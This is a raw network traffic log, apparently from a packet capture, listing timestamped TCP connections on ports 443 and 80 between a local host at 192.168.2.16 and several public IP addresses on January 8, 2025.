Jan 8, 2025 15:44:37.519056082 CET	443	49742	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.519097090 CET	443	49742	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.519125938 CET	49742	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.519128084 CET	443	49742	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.519138098 CET	443	49742	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.519205093 CET	443	49742	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.519279957 CET	49742	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.519593954 CET	49742	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.519604921 CET	443	49742	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.522916079 CET	49759	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.522941113 CET	443	49759	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.523241997 CET	49759	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.523508072 CET	49759	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.523523092 CET	443	49759	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.546272039 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.546348095 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.546660900 CET	443	49753	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.547092915 CET	49753	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.547102928 CET	443	49753	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.548103094 CET	443	49753	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.548194885 CET	49753	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.548510075 CET	49753	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.548568010 CET	443	49753	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.548674107 CET	49753	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.562918901 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.563168049 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.563179970 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.564069033 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.564162970 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.564445972 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.564506054 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.564584970 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.594290018 CET	49753	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.594300985 CET	443	49753	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.610212088 CET	49680	80	192.168.2.16	192.229.211.108
Jan 8, 2025 15:44:37.610230923 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.610249043 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.645193100 CET	49753	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.658219099 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.717523098 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.717566013 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.717588902 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.717602968 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.717623949 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.717643023 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.717653990 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.717711926 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.718002081 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.718041897 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.718050957 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.718055010 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.718077898 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.718139887 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.718182087 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.718187094 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.718919039 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.718960047 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.718967915 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.722873926 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.722997904 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.723063946 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.723072052 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.723422050 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.723463058 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.723476887 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.723483086 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.723495960 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.723982096 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.724045038 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.724096060 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.724102974 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.724172115 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.724203110 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.724215031 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.724220991 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.724258900 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.725002050 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.725094080 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.725100994 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.731113911 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.807451010 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.807496071 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.807521105 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.807529926 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.807564974 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.807591915 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.807784081 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.807817936 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.807835102 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.807843924 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.807864904 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.807894945 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.807898045 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.807908058 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.807940006 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.807966948 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.807972908 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.807986021 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.808008909 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.808598042 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.808631897 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.808648109 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.808655977 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.808689117 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.808706999 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.808708906 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.808717966 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.808749914 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.809149981 CET	443	49755	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.809215069 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.809267998 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.809324026 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.809382915 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.809426069 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.809470892 CET	49755	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.809492111 CET	443	49755	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.809493065 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.809539080 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.809582949 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.810133934 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.810230970 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.810355902 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.810384035 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.810414076 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.810419083 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.810446024 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.810460091 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.810570002 CET	443	49755	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.810626030 CET	49755	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.810951948 CET	49755	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.810966015 CET	49755	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.811011076 CET	443	49755	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.811019897 CET	49755	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.811073065 CET	49755	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.811332941 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.811367989 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.811449051 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.811645031 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.811660051 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.818851948 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.819063902 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.819089890 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.819988966 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.820046902 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.820337057 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.820389986 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.820477962 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.820485115 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.840590954 CET	443	49757	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.840801001 CET	49757	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.840811014 CET	443	49757	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.841664076 CET	443	49757	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.841723919 CET	49757	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.841998100 CET	49757	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.842057943 CET	443	49757	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.842120886 CET	49757	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.854924917 CET	443	49756	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.855154037 CET	49756	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.855173111 CET	443	49756	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.856285095 CET	443	49756	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.856350899 CET	49756	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.856637955 CET	49756	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.856693983 CET	443	49756	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.856769085 CET	49756	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.856776953 CET	443	49756	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.864717960 CET	443	49758	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.864917994 CET	49758	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.864928007 CET	443	49758	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.865984917 CET	443	49758	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.866069078 CET	49758	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.866218090 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.866422892 CET	49758	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.866486073 CET	443	49758	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.866691113 CET	49758	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.882208109 CET	49757	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.882225990 CET	443	49757	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.898221970 CET	49756	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.911330938 CET	443	49758	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.914220095 CET	49758	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.914227962 CET	443	49758	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.930200100 CET	49757	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.962276936 CET	49758	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.988106012 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.988151073 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.988185883 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.988195896 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.988231897 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.988246918 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.988365889 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.988426924 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.988586903 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.988620996 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.988641024 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.988646030 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.988662958 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.990017891 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.990050077 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.990080118 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.990087986 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.990099907 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.990530014 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.990549088 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.990590096 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.990596056 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.990613937 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.992948055 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.992963076 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.993007898 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.993016005 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.993388891 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.993411064 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.993448973 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.993453979 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.993479967 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.994071007 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.994085073 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.994134903 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.994141102 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.994518995 CET	443	49759	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.994875908 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.994894028 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.994930983 CET	49759	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.994945049 CET	443	49759	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.994955063 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.994961977 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.996032953 CET	443	49759	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.996094942 CET	49759	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.996434927 CET	49759	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.996453047 CET	49759	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.996498108 CET	49759	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.996499062 CET	443	49759	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.996588945 CET	49759	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.996807098 CET	49761	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.996819973 CET	443	49761	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.996906996 CET	49761	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.997113943 CET	49761	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.997128010 CET	443	49761	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:38.042227030 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.079672098 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.079693079 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.079751968 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.079761028 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.080203056 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.214272022 CET	49680	80	192.168.2.16	192.229.211.108
Jan 8, 2025 15:44:38.258282900 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.258333921 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.258397102 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.258414030 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.258459091 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.258537054 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.258552074 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.258599043 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.258605957 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.258647919 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.270865917 CET	443	49758	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:38.270922899 CET	443	49758	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:38.270999908 CET	443	49758	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:38.271053076 CET	49758	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:38.271986961 CET	49758	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:38.272003889 CET	443	49758	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:38.285144091 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:38.285423994 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:38.285435915 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:38.285799980 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:38.286184072 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:38.286252975 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:38.286405087 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:38.327331066 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:38.473535061 CET	443	49761	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:38.473805904 CET	49761	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:38.473824024 CET	443	49761	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:38.474155903 CET	443	49761	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:38.474481106 CET	49761	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:38.474540949 CET	443	49761	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:38.474603891 CET	49761	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:38.479198933 CET	443	49753	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:38.479245901 CET	443	49753	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:38.479284048 CET	443	49753	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:38.479325056 CET	443	49753	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:38.479336023 CET	49753	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:38.479360104 CET	443	49753	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:38.479372978 CET	49753	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:38.498532057 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.514225960 CET	49761	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:38.514235973 CET	443	49761	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:38.524225950 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.524249077 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.524302006 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.524327040 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.524347067 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.524363995 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.524738073 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.524751902 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.524805069 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.524811029 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.524862051 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.525011063 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.525026083 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.525072098 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.525077105 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.525197029 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.525438070 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.525454044 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.525491953 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.525497913 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.525523901 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.525540113 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.525722980 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.525738001 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.525799036 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.525804996 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.525860071 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.526098967 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.526117086 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.526174068 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.526179075 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.526202917 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.526217937 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.526456118 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.526469946 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.526506901 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.526511908 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.526535988 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.526550055 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.530698061 CET	49753	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:38.530706882 CET	443	49753	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:38.546195984 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.546215057 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.565884113 CET	443	49753	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:38.565951109 CET	49753	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:38.565958977 CET	443	49753	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:38.594209909 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.610229015 CET	49753	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:38.614959955 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.614996910 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.615066051 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.615089893 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.615273952 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:38.615281105 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:38.615300894 CET	443	49744	104.21.28.45	192.168.2.16
